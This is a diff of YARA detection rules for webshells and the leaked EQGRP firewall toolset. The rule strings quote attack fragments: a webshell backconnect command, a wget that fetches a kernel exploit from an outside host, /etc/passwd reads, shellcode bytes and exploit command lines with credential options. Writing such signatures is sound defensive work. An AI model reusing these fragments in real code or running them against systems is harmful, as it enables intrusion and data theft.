-		hash1 = "2f50b6e9891e4d7fd24cc467e7f5cfe348f56f6248929fec4bbee42a5001ae56"
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash3 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash4 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash5 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash6 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash7 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash8 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash9 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash10 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash11 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash12 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash13 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash14 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
 
 	strings:
-		$x1 = "This program will configure a JETPLOW Userarea file." fullword ascii
-		$x2 = "Error running config_implant." fullword ascii
-		$x3 = "NOTE:  IT ASSUMES YOU ARE OPERATING IN THE INSTALL/LP/JP DIRECTORY. THIS ASSUMPTION " fullword ascii
-		$x4 = "First IP address for beacon destination [127.0.0.1]" fullword ascii
+		$s1 = "displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\"));" fullword ascii
+		$s2 = "displaysecinfo(\"RAM\",myshellexec(\"free -m\"));" fullword ascii
+		$s3 = "displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\"));" fullword ascii
+		$s4 = "$ret = myshellexec($handler);" fullword ascii
+		$s5 = "if (posix_kill($pid,$sig)) {echo \"OK.\";}" fullword ascii
 
 	condition:
-		1 of them
+		filesize <900KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Userscript
+rule SIGNATURE_BASE_Webshell_R57Shell_2 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file userscript.FW"
+		description = "Detects Webshell R57"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6c1b70e-437f-50e7-9055-b943a1a62e6c"
-		date = "2016-08-16"
+		id = "f2298430-1eff-5ed2-abee-3b26b36d16b7"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L490-L503"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "718ee434c8ae61e2709df6dd431dbb0a2230085f0132ae82c7ceda4de75248cf"
-		score = 75
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9304-L9331"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2af51c3d181801b14d5dbb3107cd78cf7ab4a590b7967f231ec707b7ee03fa26"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5098ff110d1af56115e2c32f332ff6e3973fb7ceccbd317637c9a72a3baa43d7"
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash3 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash4 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash5 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash6 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash7 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash8 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash9 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash10 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash11 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash12 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash13 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
 
 	strings:
-		$x1 = "Are you sure? Don't forget that NETSCREEN firewalls require BANANALIAR!! " fullword ascii
+		$s1 = "$connection = @ftp_connect($ftp_server,$ftp_port,10);" fullword ascii
+		$s2 = "echo $lang[$language.'_text98'].$suc.\"\\r\\n\";" fullword ascii
 
 	condition:
-		1 of them
+		filesize <900KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BBALL_M50FW08_2201 : FILE
+rule SIGNATURE_BASE_Webshell_27_9_Acid_C99_Locus7S : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BBALL_M50FW08-2201.exe"
+		description = "Detects Webshell - rule generated from from files 27.9.txt, acid.php, c99_locus7s.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"
-		date = "2016-08-16"
+		id = "f5f33b64-b815-5e32-8d2e-5e455651ec5d"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L505-L523"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd180203ec4c4ddfa2c46cba672eb94179553637a9f7548b25dee7b88c3d3294"
-		score = 75
-		quality = 83
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9333-L9355"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3005c09dfcb1f2e33a09ed73e28ef889c74e1f5daf619dd272e0b9b30cdb0f94"
+		score = 70
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "80c0b68adb12bf3c15eff9db70a57ab999aad015da99c4417fdfd28156d8d3f7"
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "960feb502f913adff6b322bc9815543e5888bbf9058ba0eb46ceb1773ea67668"
+		hash4 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash5 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash6 = "5ae121f868555fba112ca2b1a9729d4414e795c39d14af9e599ce1f0e4e445d3"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash8 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
 
 	strings:
-		$s1 = ".got_loader" fullword ascii
-		$s2 = "LOADED" fullword ascii
-		$s3 = "pageTable.c" fullword ascii
-		$s4 = "_start_text" ascii
-		$s5 = "handler_readBIOS" fullword ascii
-		$s6 = "KEEPGOING" fullword ascii
+		$s0 = "$blah = ex($p2.\" /tmp/back \".$_POST['backconnectip'].\" \".$_POST['backconnectport'].\" &\");" fullword ascii
+		$s1 = "$_POST['backcconnmsge']=\"</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>\";" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <40KB and 5 of ($s*))
+		filesize <1711KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BUSURPER_3001_724 : FILE
+rule SIGNATURE_BASE_Webshell_Backdoor_PHP_Agent_R57_Mod_Bizzz_Shell_R57 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BUSURPER-3001-724.exe"
+		description = "Detects Webshell - rule generated from from files Backdoor.PHP.Agent.php, r57.mod-bizzz.shell.txt ..."
 		author = "Florian Roth (Nextron Systems)"
-		id = "006877e9-1e73-5a27-8b3a-bca3513a2035"
-		date = "2016-08-16"
+		id = "00d3159c-f5d2-5b49-9499-3bb938776858"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L525-L540"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "531f7039290b386f070378cb4ba49a57b5031fb16b3972b61f4fb904770fc4ac"
-		score = 75
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9357-L9382"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51660ea25d1b2290c0ca30377dbf378cac8d7b7650603f1dbe5b7914c530d5cf"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6b558a6b8bf3735a869365256f9f2ad2ed75ccaa0eefdc61d6274df4705e978b"
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "f51a5c5775d9cca0b137ddb28ff3831f4f394b7af6f6a868797b0df3dcdb01ba"
+		hash3 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash4 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash5 = "6dc417db9e07420a618d44217932ca8baf3541c08d5e68281e1be10af4280e4a"
+		hash6 = "5d07fdfee2dc6d81da26f05028f79badd10dec066909932129d398627b2f4e94"
+		hash7 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash8 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash9 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash10 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash11 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
 
 	strings:
-		$s1 = "IMPLANT" fullword ascii
-		$s2 = "KEEPGOING" fullword ascii
-		$s3 = "upgrade_implant" fullword ascii
+		$s1 = "$_POST['cmd'] = which('" ascii
+		$s2 = "$blah = ex(" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <200KB and 2 of them ) or ( all of them )
+		filesize <600KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Workit
+rule SIGNATURE_BASE_Webshell_C100 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file workit.py"
+		description = "Detects Webshell - rule generated from from files c100 v. 777shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b582f990-5bd5-592d-a7c0-475fdfffc38c"
-		date = "2016-08-16"
-		modified = "2023-01-27"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L542-L566"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1fa61e8c2012e664fee97ff608bcd8845bbd9701fa02d39d49379f7f83a5636d"
-		score = 75
-		quality = 35
-		tags = ""
+		id = "aa8317ff-680d-5b60-b8a9-a77ea58f0ed0"
+		date = "2016-01-11"
+		modified = "2023-12-05"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9384-L9408"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cc8c59f70f5ec6c89812b1597e9b864e358593ea5782e359cd483dee1a84b28b"
+		score = 70
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fb533b4d255b4e6072a4fa2e1794e38a165f9aa66033340c2f4f8fd1da155fac"
+		hash1 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash2 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash3 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash4 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash5 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash6 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
 
 	strings:
-		$s1 = "macdef init > /tmp/.netrc;" fullword ascii
-		$s2 = "/usr/bin/wget http://" ascii
-		$s3 = "HOME=/tmp ftp" fullword ascii
-		$s4 = " >> /tmp/.netrc;" fullword ascii
-		$s5 = "/usr/rapidstream/bin/tftp" fullword ascii
-		$s6 = "created shell_command:" fullword ascii
-		$s7 = "rm -f /tmp/.netrc;" fullword ascii
-		$s8 = "echo quit >> /tmp/.netrc;" fullword ascii
-		$s9 = "echo binary >> /tmp/.netrc;" fullword ascii
-		$s10 = "chmod 600 /tmp/.netrc;" fullword ascii
-		$s11 = "created cli_command:" fullword ascii
+		$s0 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/debug/k3\">Kernel attack (Krad.c) PT1 (If wget installed)" fullword ascii
+		$s1 = "<center>Kernel Info: <form name=\"form1\" method=\"post\" action=\"http://google.com/search\">" fullword ascii
+		$s3 = "cut -d: -f1,2,3 /etc/passwd | grep ::" ascii
+		$s4 = "which wget curl w3m lynx" ascii
+		$s6 = "netstat -atup | grep IST" ascii
 
 	condition:
-		6 of them
+		filesize <685KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Tinyhttp_Setup : FILE
+rule SIGNATURE_BASE_Webshell_Acidpoison : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file tinyhttp_setup.sh"
+		description = "Detects Poison Sh3ll - Webshell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "71dcc48f-f551-5596-9f03-dbbae470a62b"
-		date = "2016-08-16"
+		id = "6c201221-ca67-57fb-9bc7-fab4fc1da982"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L568-L584"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d560206e634f3bfeffe5b7de3edf02f6c76443ffb5c0de37180e63276a19457"
-		score = 75
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9410-L9433"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "31add38bcdc33d5e4b825bfa18ff1a47d5aa5aaeebd8e3adac533c471aa30629"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3d12c83067a9f40f2f5558d3cf3434bbc9a4c3bb9d66d0e3c0b09b9841c766a0"
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash4 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash5 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash6 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash7 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash8 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash9 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash10 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
 
 	strings:
-		$x1 = "firefox http://127.0.0.1:8000/$_name" fullword ascii
-		$x2 = "What is the name of your implant:" fullword ascii
-		$x3 = "killall thttpd" fullword ascii
-		$x4 = "copy http://<IP>:80/$_name flash:/$_name" fullword ascii
+		$s1 = "elseif ( enabled(\"exec\") ) { exec($cmd,$o); $output = join(\"\\r\\n\",$o); }" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <2KB and 1 of ($x*)) or ( all of them )
+		filesize <550KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Shellcode
+rule SIGNATURE_BASE_Webshell_Acid_Fatalisticz_Fx_Fx_P0Ison_Sh3Ll_X0Rg_Byp4Ss_256 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file shellcode.py"
+		description = "Detects Webshell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d923c1de-c6eb-511f-ae1f-bf3ac6e0eae8"
-		date = "2016-08-16"
+		id = "80f7d202-adb8-5d9c-b176-576e3b9553c1"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L586-L605"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69a04db721a0d17720f9db9386d47309f01d1fc31bd5e833cedb9e1c2eb573ae"
-		score = 75
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9435-L9454"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "07cd255247c9a77b1c9b6049a2b96632252ea9572880b10991c6797c14a05d48"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ac9decb971dd44127a6ca0d35ac153951f0735bb4df422733046098eca8f8b7f"
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash3 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash4 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash5 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
 
 	strings:
-		$s1 = "execute_post = '\\xe8\\x00\\x00\\x00\\x00\\x5d\\xbe\\xef\\xbe\\xad\\xde\\x89\\xf7\\x89\\xec\\x29\\xf4\\xb8\\x03\\x00\\x00\\x00" ascii
-		$s2 = "tiny_exec = '\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00" ascii
-		$s3 = "auth_id = '\\x31\\xc0\\xb0\\x03\\x31\\xdb\\x89\\xe1\\x31\\xd2\\xb6\\xf0\\xb2\\x0d\\xcd\\x80\\x3d\\xff\\xff\\xff\\xff\\x75\\x07" ascii
-		$c1 = { e8 00 00 00 00 5d be ef be ad de 89 f7 89 ec 29 f4 b8 03 00 00 00 }
-		$c3 = { 31 c0 b0 03 31 db 89 e1 31 d2 b6 f0 b2 0d cd 80 3d ff ff ff ff 75 07 }
+		$s0 = "<form method=\"POST\"><input type=hidden name=act value=\"ls\">" fullword ascii
+		$s2 = "foreach($quicklaunch2 as $item) {" fullword ascii
 
 	condition:
-		1 of them
+		filesize <882KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_EPBA : FILE
+rule SIGNATURE_BASE_Webshell_Ayyildiz : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file EPBA.script"
+		description = "Detects Webshell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5159c2f4-20b7-590d-b216-b3468c26e459"
-		date = "2016-08-16"
+		id = "cc752958-eb6c-5185-b94c-5fcec833924d"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L607-L626"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c483efdcfbb0dd8602a552b519d3aa52fca12549c0ec1660d813a2a1da66c3a6"
-		score = 75
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9456-L9475"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8441b7d730e337e002eeb7ae8f489e405409ddbe62f45bbc9a74c935d1d9fe66"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "53e1af1b410ace0934c152b5df717d8a5a8f5fdd8b9eb329a44d94c39b066ff7"
+		hash1 = "0e25aec0a9131e8c7bd7d5004c5c5ffad0e3297f386675bccc07f6ea527dded5"
+		hash2 = "9c43aada0d5429f8c47595f79a7cdd5d4eb2ba5c559fb5da5a518a6c8c7c330a"
+		hash3 = "2ebf3e5f5dde4a27bbd60e15c464e08245a35d15cc370b4be6b011aa7a46eaca"
+		hash4 = "77a63b26f52ba341dd2f5e8bbf5daf05ebbdef6b3f7e81cec44ce97680e820f9"
+		hash5 = "61c4fcb6e788c0dffcf0b672ae42b1676f8a9beaa6ec7453fc59ad821a4a8127"
 
 	strings:
-		$x1 = "./epicbanana_2.0.0.1.py -t 127.0.0.1 --proto=ssh --username=cisco --password=cisco --target_vers=asa804 --mem=NA -p 22 " fullword ascii
-		$x2 = "-t TARGET_IP, --target_ip=TARGET_IP -- Either 127.0.0.1 or Win Ops IP" fullword ascii
-		$x3 = "./bride-1100 --lp 127.0.0.1 --implant 127.0.0.1 --sport RHP --dport RHP" fullword ascii
-		$x4 = "--target_vers=TARGET_VERS    target Pix version (pix712, asa804) (REQUIRED)" fullword ascii
-		$x5 = "-p DEST_PORT, --dest_port=DEST_PORT defaults: telnet=23, ssh=22 (optional) - Change to LOCAL redirect port" fullword ascii
-		$x6 = "this operation is complete, BananaGlee will" fullword ascii
-		$x7 = "cd /current/bin/FW/BGXXXX/Install/LP" fullword ascii
+		$s0 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\"), 1)) .\"\\\">Parent Directory</option>\\n\";" fullword ascii
+		$s1 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";" fullword ascii
 
 	condition:
-		( uint16(0)==0x2023 and filesize <7KB and 1 of ($x*)) or (3 of them )
+		filesize <112KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BPIE : FILE
+rule SIGNATURE_BASE_Webshell_Zehir : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BPIE-2201.exe"
+		description = "Detects Webshell - rule generated from from files elmaliseker.asp, zehir.asp, zehir.txt, zehir4.asp, zehir4.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a73f0216-3994-5ee6-8a8c-cbcc1279898e"
-		date = "2016-08-16"
+		id = "7f8f15a6-1c5b-5c75-b61a-df7b18699f5a"
+		date = "2016-01-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L628-L648"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ab13dde40015fba80f55bc9d1b82c94ec2421e9ea263b70ad8ec0a7a74c43c9a"
-		score = 75
-		quality = 83
+		reference = "https://github.com/nikicat/web-malware-collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9477-L9496"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8fda66ada3581d2471b322ae65032b68c69b882c29f7469dd2ed78800c9c5f7"
+		score = 70
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "697e80cf2595c85f7c931693946d295994c55da17a400f2c9674014f130b4688"
+		hash1 = "16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218"
+		hash2 = "0c5f8a2ed62d10986a2dd39f52886c0900a18c03d6d279207b8de8e2ed14adf6"
+		hash3 = "cb9d5427a83a0fc887e49f07f20849985bd2c3850f272ae1e059a08ac411ff66"
+		hash4 = "b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d"
+		hash5 = "febf37a9e8ba8ece863f506ae32ad398115106cc849a9954cbc0277474cdba5c"
 
 	strings:
-		$s1 = "profProcessPacket" fullword ascii
-		$s2 = ".got_loader" fullword ascii
-		$s3 = "getTimeSlotCmdHandler" fullword ascii
-		$s4 = "getIpIpCmdHandler" fullword ascii
-		$s5 = "LOADED" fullword ascii
-		$s6 = "profStartScan" fullword ascii
-		$s7 = "tmpData.1" fullword ascii
-		$s8 = "resetCmdHandler" fullword ascii
+		$s1 = "for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';" fullword ascii
+		$s2 = "if (frmUpload.max.value<=0) frmUpload.max.value=1;" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <70KB and 6 of ($s*))
+		filesize <200KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Jetplow_SH
+rule SIGNATURE_BASE_Uploadshell_98038F1Efa4203432349Badabad76D44337319A6 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file jetplow.sh"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e7780540-29c9-5827-8ac0-a685d9ba8a5f"
-		date = "2016-08-16"
+		id = "f385b091-ce0d-5d5b-8eeb-57e00c8d0210"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L650-L666"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8ae203527c4e41ae169c63521bb08d5199c43dfd1028574a1791ab1f8f198105"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9507-L9522"
